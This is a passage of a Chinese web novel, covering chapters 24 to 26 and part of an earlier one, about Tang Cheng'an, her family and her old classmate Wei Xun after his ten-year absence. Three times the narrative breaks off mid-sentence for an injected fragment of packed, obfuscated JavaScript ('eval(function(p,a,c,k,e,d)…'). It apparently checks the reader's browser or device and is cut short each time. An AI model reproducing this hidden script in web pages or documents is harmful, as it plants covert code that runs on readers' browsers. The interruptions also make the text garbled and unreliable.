所以唐成安想买房的主意他是第一个知道的。 当时“电梯房热”正在势头上,唐成泰自然而然以为小妹是看中了哪套新楼盘,正打算在开售前找好关系提前预约,不料唐成安却直截了当地领他去了北边的一个居民区。 这个居民区的楼型既不是电梯房,也不是像唐家那样的小院,而是顺着马路排列整齐的老式居民楼。 一栋楼大概只有六七层,每一层两个相对的住户,是建了有十年左右的老房子。 唐成泰怕是想破脑子都琢磨不透小妹的想法,最终因为实在拗不过她而举白旗宣告投降。 由于唐成安并没有入住,所以房子其实和毛坯房大差不差,里面的东西在他们三个和搬家公司合力整理下,不到两个小时就全部收拾完成了。 楼上唐成安还在和中介商量转让事宜,楼下的唐成泰和魏寻则老老实实靠在单元门上等待。 唐成泰向来是个闲不住的人,让他站在原地干等简直就是在消耗他的生命,没一会儿就开始不耐烦地踹起脚下的碎石。 魏寻察觉出他的情绪,主动展开话题:“其实我都没想到成安会选这种房型。” “何止你没想到啊?我这个和她生活了二十年的亲哥都吓一跳。”这个话题很是吸引唐成泰,他挺直身子立刻扫清刚才的闷气,开始喋喋不休抱怨起来,“当初她买房就气得我不轻。” “发生什么了?”魏寻好奇继续问道。 唐成泰一脸委屈地瘪瘪嘴: “当时电梯房跑火得很,我知道她要买房的时候,特地找关系给她留了一套新建房,中间不知道花费多少心力。” “哪知道等她这个大小姐做决定时,直接两手一摊告诉我她只想要这个小区的房子。” 唐成泰至今回忆起来还是怨气难消。 “我真就想不通了,想半年都想不通,”唐成泰侧过身转向魏寻,双手抱在胸前,皱起眉头满脸困惑,“阿寻你聪明,你来帮我想想。” 魏寻:“我,我好像也想不通……成安从来没有和你解释过吗?” “啧……好像是说过一次……”唐成泰似乎被点醒,“但是那个理由有点扯。” “什么理由?” “她和我说她想要个带有小花园的房子。” “小花园?”魏寻听了心里突然咯噔一下。 “可能刚才你负责室内没出来,她选这间房子主要就是看中了外面的小院子。” 这种有楼层的居民楼一般都不会设置露天小花园,只不过这个小区的房型比较特别。 一楼不再做成架空层,取代的是一个单独多出来的杂物间用来另外售卖,于是二楼就能因此多出一个不大不小的露天区域。 这片小地方闲着也不好看,所以大多数住户都会选择将其装修成一个简易的花园,唐成安就看中了这点。 虽然不如唐家的院子那么大,但是随便收拾一下也有模有样。 “有个自己的小院子也挺好的。”魏寻还是不太理解为什么唐成泰不接受这个理由。 唐成泰不屑地摆摆手反驳道: “她多买个院子就算了,至少能让她平时即使不下楼也能呼吸一下新鲜空气,这也能理解。” “但是她口口声声说要置办的小花园,到头来摆放的全是盆景和假花,哪里还有个花园的样子?你说她奇怪不奇怪?” 唐成泰越说越有理,双手一摊表示无奈和不解。 相比起他的喋喋不休,一旁闷闷低下头的魏寻却沉默得令人寒颤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏寻攥紧拳头喉腔哽咽,额前杂乱的刘海透过阳光的照射铺下一层阴影,恰好可以掩盖住他发红的眼角。 唐成泰这个笨头笨脑的家伙哪里能察觉到魏寻状态不对,一通抱怨下来终于让他因为口干而暂时闭了嘴。 他拿起货车上的一瓶饮用水就直接开盖猛灌一大口,清冽的泉水给他的喉咙“解了锁”,没一会儿又打起歪主意。 他悄咪咪游走到魏寻身边,脸上的表情早就预示了他的不怀好意: “阿寻,你和我老实交代,你俩是不是有点旧情复燃那味道?” 魏寻紧抿下唇,与唐成泰对视的眉眼有轻微的抽动,唐成泰本是打趣的一句话,却让他脑海一片空白,耳畔甚至时不时响起嗡鸣。 “我想也不太可能,”唐成泰没等到魏寻的回应,不想气氛太沉闷,于是便自顾自说着,“毕竟如果你俩真的郎有情妾有意,你也不至于十年来没一点联系。” 虽然兄妹俩互相嫌弃惯了,但终究血浓于水,唐成泰还是护短的。 小妹对魏寻的心思是人尽皆知,眼见她的真情实意在十年内付诸流水,唐成泰似乎比这个当事人还要闷闷不乐。 十年的时间里,没有书信,没有回电,唐成安愿意这么死心眼地一直等就算了,可是作为一个哥哥,他才没这么多耐心。 也许是有些为妹妹打抱不平的意味,唐成泰说出口的话不再像平时那样圆滑不正经,突然凌厉的话风给魏寻十足的压迫感。 唐成泰:“没有手机也能用公共电话,没有电话也可以写信,哪怕只是报报平安都行。” “可是你全都避而不谈,阿寻,你不是这样的人。” “所以到底为什么?十年里究竟发生了什么,让你这么做?” 24. 牛墟 “我在仰望~月亮之上~有多少梦想在自由地飞翔~” 再平凡不过的一个清晨,响彻唐家小院的不是朝阳的鸡鸣,而是唐成泰新到手的滑盖款诺基亚手机铃声。 当然,还有手提菜刀,气势汹汹从卧室冲出来的唐成安扯着嗓子的怒吼: “唐成泰你是不是有病?!” 唐成泰也是个欺软怕硬的怂蛋,眼见小妹这不可抵挡的气势,他瞬间没了底气,立即抓起自己的宝贝手机藏进外套里面的口袋。 “哎呦,不就是换了个方法叫你起床嘛,用得着这么生气么?”唐成泰企图糊弄过去。 唐成安被激起的起床气可不买账:“您要不睁开眼睛好好瞧瞧时钟?这才六点啊!这么冷的天气还起这么早,你赶着去投胎啊?” 唐成泰心虚地躲到沙发后面,生怕自己随便一句话给唐成安火上浇油。 与唐成安拉开一段“安全距离”后,唐成泰才敢支支吾吾开口: “去,去什么投胎啊,是赶牛墟!” 唐成泰的辩驳还算有用,唐成安听后情绪立刻稳定下来:“牛墟……今天有牛墟吗?你去牛墟干什么?” “你你你你你……”唐成泰绕过沙发走向唐成安,气得有些语无伦次,“你这还不如我记性好呢!” “今天是老爹的生日啊,你不得去牛墟帮他老人家买点东西庆祝?” 唐成安用力一拍脑袋,终于想起来:“呀,老爹今年都五十五了吧?是要好好过一过。” “所以我才早早把你叫起来啊,理解你哥的良苦用心了吗?”唐成泰老毛病又犯了,开始得寸进尺。 唐成安没好气地白了他一眼,转头回到卧室拿出钱包,金钱的气味一下子就被唐成泰的魂都勾走了。 唐成先是安装模作样地把钱包递到唐成泰面前,在唐成泰收手接过的一瞬间,又迅速将钱包拿了回来。 动作快到唐成泰来不及反应,扑了个空。 “诶!你干嘛不给我钱?”唐成泰被捉弄后气得不轻。 唐成安:“最近家里用钱紧张,我必须要时刻盯紧花销,怎么可能安心把这么多钱交给你?” 唐玉山好赌,唐成泰好玩,因此唐家的财政大权在唐成国因工作太忙而放手后,一直都由唐成安掌控。 唐成泰无力反驳,只能撅起个嘴表示不满。 “老爹呢?一晚上都没回来吗?”唐成安从钱包里拿出几张百钞,其余的重新锁回卧室抽屉。 抽屉连上了三把锁,看上去有些夸张,但对于唐家而言那是非常有必要的。 毕竟除了外面的小偷,还要提防两个“家贼”。 唐成泰没能要到钱,有点扫兴:“可不是么?估计又上哪个麻将桌通宵了。” 唐成安没有搭理他的小情绪,揪着他的衣角就往外扯,动作麻利地把大门锁上: “大哥呢?他这次不回吗?” “肯定不回啊!”唐成泰接过唐成安手中买菜的篮子,“你又不是不知道,每次大哥回来都要和老爹闹得天翻地覆,难道这局面你能控制得住?” 唐成国从小到大都是个爱操心的小大人,或许如今的唐成安也多多少少遗传了一点儿。 拖后腿的家庭让他不得不初中就辍了学,那段急需用钱的日子是逼他走入成熟的第一枪。 可唐玉山那份本就不稳定的收入来源,甚至每个月还要从中拿出一部分用来给他当作打牌的本钱,养起这个四口之家显然不现实,因此唐成国十四岁就开始学着在外开车挣钱。 由于年纪太小,他即使托关系也无法拿到驾照,但出租车在当时是人尽皆知的暴利行业,唐成国不可能放弃这个机会。 身后是糊涂的父亲和年纪尚小的弟弟妹妹,他为了这个家也必须咬牙坚持。 为了躲避交警走不了大路,那他就走别人不敢走的偏僻小路;没有驾照,他就多跑几遍,熟能生巧。 他就这么偷偷摸摸跑了好几年,也靠这个支撑家庭好几年。 常年离家的经历让他习惯了所有事情都由自己做主,性格也越来越强势。 所以每次回家看到不务正业的唐玉山和唐成泰,他可以气得全然不顾辈分,该骂就骂,该打就打,是个真真正正的一家之主。 唐成泰和唐成安作为小辈,自然不敢多顶嘴,但唐玉山这个糊涂蛋子偏偏不服气,愣是不管有理没理都要回怼几句。 这么一火上浇油,两人交锋的阵势每次都能把屋顶都给掀了。 一想到这儿,唐成安也发怵。 她瘪了瘪嘴:“不回就不回吧,反正算命的也说过,这个唐玉山能长命百岁,不愁见不到。” 唐成泰突然接话:“哎呦,我也觉得老爹能活最久,有人替他操心,命多好啊。” 唐成安听了狠狠揪了一下唐成泰的腰,疼得他嗷嗷叫唤:“你不也是吗?对大哥的白头发做出的贡献,你和老爹旗鼓相当。” “啧,我这是怀才不遇~” “明明就是没人能理解你的才能。”唐成安没忍住呛他一句。 唐成泰不服气,继续狡辩:“诶!我告诉你,往往人想要干成大事,那就必须要遇到知己,比方说人家阿寻,他要干的事,那就必须要有同道中人帮他才能成功!” “你少讲这些歪理,魏寻他足够厉害,现在一个人不也发展得顺顺利利的吗?” “那是你不知道他背后的辛苦,每个男人都是沉默的战士~” 唐成安不愿再听唐成泰继续胡说八道,二话不说夺过篮子走在前头,把唐成泰甩了几百米远。 唐成泰也只能暂停吹牛,骂骂咧咧地跟上脚步。 - 每逢农历的三、六、九,南州都会举办一次牛墟,唐成安从小就喜欢跟着唐成泰来牛墟集市淘些好玩又便宜的小物件儿。 后来进入千禧年,由于城市规划的需要,县政府将原来的牛墟地点改设在了离镇中心很远的一个小地方,因此赶牛墟的人也越来越少。 不过即使客源减少了,牛墟里贩卖的东西也还是像记忆里那样琳琅满目,唐成安看了依然走不动道。 无论是各种造型的木质积木,还是农户家自己晾晒的干货,每一款商品都能将她拉回无忧无虑的童年时光。 最后唐成安是在一家卖乌龟的店铺前停下来的。 卖家为了吸引顾客,特地找了一个宽大的玻璃方缸装着,旁边还放置了几盏白炽灯。 小乌龟在水缸里划动水面,激起的一圈圈涟漪晃开了灯光,和龟壳反射的光亮一样生动。 “老板,多少钱一只?” “不贵不贵,十五块。” “这还不贵?我十年前在您这买过一次,当时可是只要五块钱。” “哎呦,美女,你在开我的玩笑吧?那可是十年前,现在通货膨胀这么严重,算下来十五也不贵了好吧!” 唐成安其实就是在开玩笑,能在十年后再次碰见这位老板,就算二十一只她也心甘情愿买下来。 毕竟十年前的那次,老板可是让她免费拿走的。 那是1994年,魏寻正式决定闭关备考的前两天。 唐成安没上过初三,家里人也没有人经历过中考,所以对备考的辛苦并没有概念。 但她从初三学长学姐安排得满满当当的课表上可以知道,这段日子将会是一场苦战。 更何况魏寻是全南州唯一一个有希望冲击省城一中的,他的压力对比别人来说只多不少。 偏偏魏寻又是个不爱表露情绪的人,他闭关的这段时间唐成安没办法像之前一样跟在身边,难免会担心他的状态。 于是她便琢磨着找个别的什么能够替代她的东西陪伴魏寻,让他可以解解闷。 思来想去,还是小动物最好。 但是又害怕小动物寿命远远比不上人类,如果一旦魏寻养出感情了,突然的分离对魏寻伤害更大。 所以她绞尽脑汁想了半天,才终于想到买只小乌龟这个好办法。 唐成安趁着初一提前下课的机会,背上书包就跑到牛墟里挑选,从头逛到尾,还是觉得这家店的乌龟最活泼。 谁想到老板大手一挥,张口就要五块钱一只。 那时候唐成安一个学生,哪里能随便拿得出五块钱啊?她和老板讨价还价了许久,价格也迟迟砍不下来。 她可谓是铁了心想要这只乌龟,但她本来就是瞒着家里人拿的零花钱,眼见手上的零花钱也还差几块,唐成安急得当场哭了出来。 「“对不起老板,我一下子实在给不出您这么多钱……我……我能不能分期付款啊……”」 「“或者……或者我在您店里当一下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎呦呦~不是说分手了么?怎么明明是老爹的生日,还想着给他送一份呢,到底是谁过生日啊?” 唐成安自然听得出唐成泰话里有话,但又实在懒得搭理他那副贱样,斜着目光扫了他一眼。 唐成泰没得到唐成安的回应,反倒自娱自乐起来,继续戏谑道:“啧啧啧,对人家的喜好这么清楚,无时无刻都想着他,还说不喜欢了,谁信哪?” “唐成泰你别得寸进尺,这只是出于对朋友的关心,少给我多想,不喜欢就是不喜欢。” “当初你追人家追得可是人尽皆知,这一下子就不喜欢啦?没想到我的小妹变心这么快啊。” 唐成泰一语中的,唐成安原本忙碌的手不自觉慢了下来。 揉在一团的塑料袋和她的心情一样乱糟糟的。 “其实我可能……喜欢的一直都只是记忆里的魏寻吧……” “他现在变得完全不一样了,我……说不出喜欢……” 不光唐成泰想不通,估计连唐成安自己都想不通。 自从魏寻回来的那一天开始,之后的几个月她都在思考这个问题—— 明明都是魏寻,为什么她对他的感觉却和十年前完全不一样了? 可是她想了很久,最后也没能得到答案。 唐成安沉默不发,眼神也逐渐黯淡。 唐成泰似乎意识到自己提了个不适合的话题,刚抬起手想要安慰唐成安,却被身后闹哄哄的人群打断了思路。 不清楚具体发生了什么,只看到一群人都在往一家店铺挤,除了人群议论的嘈杂,好像还有争吵的声音。 这种场面当然少不了爱看热闹的唐成泰。 他立马将刚刚计划安慰唐成安的话语抛之脑后,整个人像只泥鳅一样,没一会儿就穿过人群溜到了中心。 他奋力踮起脚尖想要看看目前的局势,然而牛墟本来人数就不少,现在又一窝蜂全挤到一家店门口,害得他不得不蹦起来才能躲开那些遮挡的人头。 跳起来的一瞬间,他终于如愿以偿看清了争吵的核心,只不过其中一个人的背影有点熟悉。 他不死心再用力蹦高了一次,这次可算是看清了人脸—— 是魏寻! 25. 可乐鸡腿 相比起毫无用处的唐玉山,唐成泰好歹有一手厨艺让他得以在家中站稳脚跟,这才不至于被早早赶出家门。 正巧这天唐玉山寿星身份大爆发,让他在牌桌上翻了倍儿地赢钱,所以这位原本“十指不沾阳春水”的大爷才难得有兴致动动身帮忙备点小菜。 有了唐玉山的帮忙,一大桌子菜很快便端上了餐桌,热气腾腾的美味佳肴也应了此刻寿辰的热闹气氛。 “来来来,都是一家人别客气,干杯!”唐成泰率先举杯庆祝,说完就一口气喝完了一整碗啤酒。 借着酒劲,有些话确实不吐不快:“阿寻,不是我说,要不是我们救你出来,你说不定真能被那老板的唾沫淹死。” 唐成泰至今仍觉得自己几小时前的“极限救援”颇有拯救世界大英雄的意味,在酒精的催化下更加沾沾自喜。 魏寻礼貌地回敬了一杯,恭维道:“是啊,多谢成泰哥。” “哎呦,这是发生什么事了?”不明所以的唐玉山嗅到了一丝看热闹的味道。 “也没什么大事,”魏寻低着头笑了笑,“就是和人家老板谈合作被拒绝了而已。” “哎哟喂,是哪个没眼力见儿的,居然还敢拒绝我们南州第一的天才少年?让你唐叔我去教训教训他!”唐玉山故意装作打抱不平的样子,实则话语中都是调侃。 一旁的唐成安没有参与进来,只是一个人自顾自低着头小口小口地喝汤。 “没关系的,做生意嘛,这种都是常有的事。”魏寻的语气倒是听起来异常平淡。 “阿寻,你知道的啊,唐叔对你可是真心实意的……”唐玉山不知听到了什么字眼,先装模作样铺垫几句,随后一个身子就朝魏寻的方向滋溜一下滑过去,说话声特地压得低低的,像是要讨论什么大秘密。 “你老实和我说说,你这些年在北京做生意赚到多少钱了?” 真是哪壶不开提哪壶。 唐成安天天胆战心惊地千防万防,没想到居然漏算了唐玉山这个身边最大的炸弹。 还没等唐玉山得到自己想要的答案,唐成安便如同鲤鱼打挺一般蹭地起身隔开两人。 “你懂个屁啊,赶紧吃你的宝贝鸡屁股吧!”唐成安刻意提高了声调赶紧插话,急忙夹起碟子里的鸡屁股就往唐玉山饭碗里扔,想要借此堵住他那张吐不出象牙的狗嘴。 “魏寻你也吃啊,这大鸡腿可是我二哥卤了好久的呢!”唐成安又调头转向魏寻。 她突然的热情也让魏寻一时招架不住,眼见只几下夹筷子的功夫,唐成安就差把整盘鸡全部端给他吃了,魏寻见状连忙拒绝。 唐成泰此刻倒是百年难遇的默契,也端起一盘菜模仿唐成安的样子各往饭碗里送,企图断开这个话题。 魏寻当然明白兄妹俩的用意,所以不得不连连道谢,配合他们演一演。 然而面对眼前饭菜堆得像座小山一样的饭碗,魏寻也只是从边沿夹起一小部分,小口小口送入口中。 不知道是忙着闷头吃饭,还是尊重“食不言”的习惯,魏寻在这之后便没了声响。 坐在身边的唐成安轻咬筷头,时不时用余光观察魏寻的情绪。 可是余光太模糊了,她迟迟没有办法彻底看清楚。 在兄妹俩的努力下,刚刚的话题才没有继续下去,取而代之持续回荡在饭桌上的是唐玉山和唐成泰斗嘴划拳的声音。 魏寻虽然没有加入闹腾,但他还是和平常一样温柔地笑着看向两人,可是唐成安总觉得他笑得不太真实—— 就是强颜欢笑的那种不真实。 她明白,即便自己再怎么回避,创业失败的经历依然是魏寻心里久久过不去的疙瘩。 她默默夹起刚才魏寻从他碗里分出来的一个大鸡腿,缓缓咬下侧面最饱满的大腿肉。 也许是唐成泰太久没开火,导致手艺有些生疏,唐成安咬到的似乎是这个鸡腿上烤糊了的小部分。 所以唐成安嘴里苦苦的,蹙了蹙眉头。 - 魏寻总是那么客气的一个人,饭后说什么都要留下来洗碗。 唐成泰也不和他客气,二话不说立刻拍拍屁股走人,唐成安没好气地白了他一眼,从橱柜里再拿出了一件围裙穿上,默默站到魏寻身边帮忙。 为了给寿星一个面子,唐成安今晚难得没有管着唐玉山喝酒,于是唐玉山就彻底放肆了一次,把自己喝得烂醉。 醉得不轻的他居然一个人在客厅里像个疯子一样乱嚎——虽然也不见得正常的他和疯子有什么区别。 唐成泰没活干后也皮痒,跟着他不靠谱的老爹一唱一和,在客厅里演起了不知所云的双簧。 乱哄哄的声音似乎连带震动了天花板的吊灯,白蒙蒙的灯光左右摇晃,像是跟着这对父子乱舞。 好在厨房冰凉的自来水得以让唐成安压制住怒火,这才没有当着魏寻的面上演一出大义灭亲的戏码。 唐成安调整情绪的间隙,魏寻默不作声地又洗完了一个盘子,她刚要接过盘子,盘子却不知怎的竟然从她的指尖擦过。 得亏唐成安反应迅速,立即用另一只手接住了瓷盘。 “吓死我了……”唐成安不断拍拍胸脯,侧过头看向身边的魏寻,“魏寻你没事吧?” 本以为只是一场意外,然而唐成安转头却看见魏寻一脸吃痛的表情,左手揉上了右手手腕。 “你怎么了?是手腕痛吗?”唐成安放下盘子,看着魏寻的反应有些担忧。 魏寻勉强扯出一个笑容:“没事的,老毛病罢了。” “你什么时候这里开始痛了?” “挺早的了,平时写代码敲键盘比较多,手腕就容易累。” 魏寻还是平日里云淡风轻的语气,目光沉静得犹如窗外徐徐的晚风。 唐成安越看他这幅没事人一样的表情就越不是滋味。 手腕是,眼睛也是,或许还有无数藏起来的不为人知。 唐成安有时想不明白,魏寻的这些付出是否值得。 她知道,人的成长总要付出些什么代价。 青春、泪水、热忱……老天给你什么,同时也要向你收回筹码。 唐成安也有过无数个纠结和迷茫的日子,还不清的人情和一眼望不到头的琐事,也曾在无数个日夜折磨得她几近崩溃。 可是她有底气——因为她的背后不是没人。 不论她再怎么歇斯底里地抱怨工作和奇葩同事,唐玉山和唐成泰始终都是她私人专属的受气包。 其实有时候这个有名的小霸王也没有想象的那么难哄,一盏照亮家里客厅的便宜白炽灯就能让她乐呵。 但魏寻呢? 这个温良的、待人客气又有分寸的男孩子,好像生活却没能善待他。 唐成安想得入神,毫不遮掩就双眼定定地盯着他的侧脸,因此魏寻眼角的余光没多久就捕捉到了她。 “嗯?你的耳朵……” 魏寻似乎没察觉到她的心事,注意力反倒被她耳垂上亮闪闪的东西吸引过去。 唐成安急忙收回涣散的目光,一只手顺着魏寻的话摸上了耳垂: “啊,你说这个?是林雨涵这几天看我停工无聊,拉着我去精品店打了个耳洞。” “林雨涵?” “就是前台小林。” 其实唐成安也是最近和林雨涵熟悉了之后才知道她的全名,这段时间交往下来,她发现这个年轻姑娘虽然娇气,但为人也算仗义。 “所以这个黑黑的棍子就是耳饰吗?”魏寻指着唐成安的耳朵感到好奇。 唐成安被他的直男发言逗笑了:“哈哈哈,这是消炎棒啦!哪有耳饰是这样的?” “那,那你怎么不自己买一对?” “当时刚打完孔就被林雨涵拉着在店里挑选过,看了好多款,感觉都不是很喜欢……”唐成安瘪了瘪嘴,有点沮丧,“再说了,饰品太多也麻烦是吧?” 魏寻情不自禁上下打量了一遍唐成安,她一个青春正好的女生,浑身上下除了必备的头绳,其他饰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他从来没有从这个角度看过宿舍,也没想到自己住了三年的宿舍楼居然离唐家这么近。 “没想到我们家离你宿舍这么近吧?”唐成安好像有能洞察魏寻心里话的超能力似的。 “是啊,”魏寻没有移开视线,挂在夜空的星点仿佛投射到了他的瞳孔中,亮晶晶的,“真没想到。” 见魏寻提起了兴趣,唐成安主动向他身边靠近了一步。 “你看现在亮灯的那一层,右边数第三个就是你原来的宿舍。” 唐成安自己说着说着就偷笑起来, “之前我就喜欢下了课回家从厨房瞄一眼,看看你的宿舍有没有熄灯。” “如果发现你们宿舍到了很晚都没熄灯,我就知道你一定又熬夜了。” “这样的话我第二天就会给你带一瓶煮好了的红参茶,课后补习的时候也会少问几个问题,让你多睡一会儿。” 唐成安至今回忆起那段时光,心里就像被温柔的晚风轻抚而过,安宁又美好。 那是一段无忧无虑,只为自己喜欢的人而紧张的时光。 唐成安依然自顾自说着,魏寻的目光绕过她滔滔不绝的分享,只是轻轻落在她身上,眼眸澄澈。 “魏寻,你想不想去看看?”唐成安笑盈盈的,微卷的发尾被窗外透进的凉风吹起,轻轻地搭在肩膀上,“等会儿洗完碗我们就一起去吧?” 魏寻就这样静静地看着她,湿润的眸光倒映出了对面唐成安的影子。 “好。” 星光透过斑驳的树影洒落在唐家小院,温柔缱绻的夜风卷走了醉酒后的微热,人的体温在这个夜晚是刚刚好的舒服温度。 送走赴约牌局的唐玉山,唐成泰独自回到了昏黄的餐厅。 他默默看着厨房内相视而笑的两人,面色却并不轻松。 26. 民宿 夜幕降临的老旧宿舍楼,斑驳的墙体更显出藏入砖瓦的岁月痕迹。 屋顶厚厚的青苔让被风吹动的爬山虎息了声,昏黄的灯光从窗户的木格栅缝隙中溢出,铺撒在周围的香樟树叶上。 “现在能进吗?”魏寻来到宿舍楼门前,停住了脚步,“会不会打扰到他们休息?” 唐成安笑眯眯的没说话,一只手轻轻拧动把手,没发出一丁点声响就打开了寝室门。 闪烁的钨丝灯将这间不大不小的宿舍照得黄澄澄的,原本破败不堪的内置在暖黄的灯光下温馨起来。 “这栋楼早就没人啦。”唐成安迈进屋子,吹了吹手心摸上把手的灰尘。 魏寻时隔十年再度踏进熟悉的空间,空荡荡的房间在岁月流逝下只留下了一星半点关于过去的痕迹。 魏寻用指腹缓缓感受记忆中的物件:“怎么会没人住了?” “这里不在校内,家长觉得不太安全,所以去年学校在校内新建了一栋宿舍楼,学生们都搬那边去了。”唐成安背过手慢慢和魏寻解释,“而且这块地本来就是学校从私人手里租的,校区扩建后也没必要再多承担这笔费用。” 魏寻:“那这里……之后会怎么处理?” 唐成安晃悠悠靠在门框上:“嗯……据说马上就会拆掉,今晚亮灯就是因为工人在检查还有没有遗落什么有价值的东西。” 要全部拆掉么…… 魏寻眸底微沉,唇线紧抿扫视周围,心绪不太宁静。 斑驳的墙面和划痕严重的书桌,锈迹斑斑的铁床还散发着淡淡的腥臭,尽管环境恶劣,这依然承载了他三年的时光。 他小心翼翼地伸手将木窗的钩针取下,用指尖轻轻推开玻璃,发现这扇窗居然和十年前毫无变化—— 变形的合页导致半边的窗户只能展开三分之二的幅度,最下面那片甚至还和记忆中一样发出刺耳的噪音。 魏寻至此又想起了一些往事。 说起来,这扇倒霉的窗户全是当时他室友的“杰作”。 1994年,整栋宿舍的人都见证了唐成安的惊天大告白,其中就属魏寻的三个室友最起劲。 魏寻前脚刚迈出宿舍,这三个损友便迫不及待地想好好看一场热闹。 三个大男生你推我搡同时挤在小小的窗口,生怕错过一点儿名场面,最后的结果就是三人合力压弯了合页。 魏寻一想到这就忍不住发笑。 只不过笑意没能持续多久,他的眼角便渐渐耷拉下来,眼眸中转而染上一抹空茫。 这一刻,“物是人非”这个词在魏寻身上有了体感。 “叔,您就放心吧,交给我们!” 唐成安的声音忽然从门外传来,魏寻侧身看去,才发现她不知道什么时候站到了走廊上。 “你在和谁说话?”魏寻也跟着走出宿舍,来到唐成安身边。 唐成安转过头:“就是检查的工人而已,我和他说把断电工作交给我们,好让我俩在能这多待一会儿。” “那你怎么还站在外面?”夜晚的南州还是不比白天,秋风转凉得厉害,魏寻不自觉收紧了外套,“外面冷。” “我在看那棵大樟树呀!”唐成安朝楼下指去。 据老人们说,这棵樟树是南州那棵活了将近八百年的老樟树分出来的小树,虽然年纪只有不到三十岁,却和宿舍楼里十三四岁的少年正好合适。 “你应该不记得吧?”唐成安手肘撑在走廊的栏杆上,讲话慢悠悠的,“我和你的第一次见面,就是在这棵樟树下。” 十二岁的唐成安有个丢三落四的坏毛病,不是忘记这个就是忘记那个,其中对待作业本的态度最为恶劣。 但无论是十二岁还是二十二岁,那个普通得不能再普通的上午,那个似乎比往年要更加凉爽的夏天——唐成安都会永远记得。 因为她的热烈,让那个盛夏成为最滚烫的回忆。 魏寻没有回应,态度既不是肯定也没有否定,唐成安便继续自言自语:“不过幸好这里暂时不会拆迁。” 魏寻反问道:“你不是刚刚还在说快要拆了吗?” “消息有误啦!”唐成安摆摆手,“刚刚问了工人,这块地还没招到商家,所以暂时闲置。” “其实这块地位置不错,与中心街没多远的距离,白白闲置怪可惜了。”魏寻又开始打起算盘,“如果能有一家民宿愿意来,相信盈利不会差。” “民宿是什么?”唐成安对魏寻说的话云里雾里。 魏寻笑了笑:“就是一种小型住宿,不同于传统酒店的高奢设施,主要是为了让旅客体验本地风土人情,目前大部分都在一线城市发展,还不普遍。” “北京有吗?”唐成安侧过头追问。 魏寻点点头,耐心回答:“嗯,刚好我在那边认识一位民宿老板,不知道能不能说服他来这边开个分店。” 魏寻又开始主动揽活了。 虽然唐成安非常支持魏寻想要利用互联网发展南州旅游业的想法,但是她始终认为魏寻不考虑自己,不顾一切地率先把所有责任压在自己身上是个坏习惯。 “魏寻,”唐成安眼神飘忽,开口前似乎是经历了一番心理斗争,“你之前谈生意,也会经常像今天下午一样不太顺利吗?” 她回想起下午从争吵中把魏寻救出来的场面,正是因为和老板没谈拢才导致纷争。 南州这个小地方的人肯定没有北京那种大地方文明,再加上方言提高调子,人说起话来就容易感觉凶巴巴的。 给出的条件不满意,商贩的嘴脸自然不好看。 唐成泰说的不假,如果没有他的强势,魏寻这只绵羊说不定早就成为狼群的众矢之的。 魏寻显然没预料到唐成安会问出这个问题,他表情凝滞了片刻,然而眉头不久便松下来: “是啊,做生意没有容易的时候,这都是很正常的事。” 魏寻总是喜欢把背后的心酸说得那么轻盈,有时候连唐成安也难以分辨真假。 她想起了唐成泰早上贫嘴时候的话—— 「“那是你不知道他背后的辛苦,每个男人都是沉默的战士。”」 没想到唐成泰这个平日里不着调的人,居然也能一语成谶。 所以魏寻离开南州的那十年,遭受到的打击何止那次被骗?他心里的失落不说并不代表没有。 或许他不为人知的某些伤痛过往,在那次被骗之前,还要往前倒推好几年。 她第一次发觉,魏寻其实过得很不开心。 “魏寻,多和我说说你的事吧,”也许是受到盈盈晚风的感染,唐成安平时尖细的嗓音在此刻难得轻柔。 “好的坏的都行。” 夜已渐深,只有星光的夜晚不算明亮,室内忽闪的钨丝灯透过玻璃弥漫出鹅黄的光束,丝丝缕缕般轻悄悄地环绕至身后。 唐成安颀长的眼睫裹上了温柔的光源,绵软金线下的双瞳是被细碎灯光点缀成的琥珀色湖泊。 “我会永远和你在一起。” “一百年也不会变。” 逐渐寒冷的深秋,夏蝉早已躲进土壤中,只有偶尔微风拂过耳畔的响动。 漫天星点在悄无声息中又冒出了一颗。 - 直到看见唐成安把唐家大门关上,魏寻才放心折返回到公寓。 魏寻的步调安稳,门后的唐成安可不尽然。 胸中如擂鼓般的心跳甚至传达到了放在胸前的手掌,即便她不断地深呼吸也难以快速平静。 “唐成安你这个笨蛋!”她开始自言自语,狠狠拍了一下额头,“为什么要说‘永远和你在一起’这种容易让人误解的话啊?” 或许是过于寂静的氛围,反而平添了她的焦虑,唐成安躲在门后独自心烦意乱。 自从她反应过来自己说出口的话有多么不合时宜的时候,魏寻已经说起了另外的话题,她想这下再回过头去解释反而显得刻意,于是只能装作不在乎地略过这个话题。 一路上不见魏寻对此有任何波动,倒是她这个平常粗线条的人耿耿于怀。 她的碎碎念最终惊动了在家的唐成泰。 “哟,终于舍得回来啦?”唐成泰对着刚到家的唐成安阴阳怪气,“约会还顺利吗?” “唐成泰!你别乱说!”有了唐成泰的插嘴,唐成安终于从刚才的愁闷中走出来,矛头直对她哥。 本以为会继续打趣她的唐成泰,这会儿居然变了个脸色,是一种连耳侧的长发也挡不住的压迫感。 “你们没有旧情复燃最好。” “魏寻这个人,没你想象的那么简单。” 这么短短几句话,从平常吊儿郎当的唐成泰嘴里说出来,竟让唐成安浑身不寒而栗。 唐成安恐怕从没想到自己在唐成泰面前也会有这么磕磕巴巴的一面:“什,什么意思?” 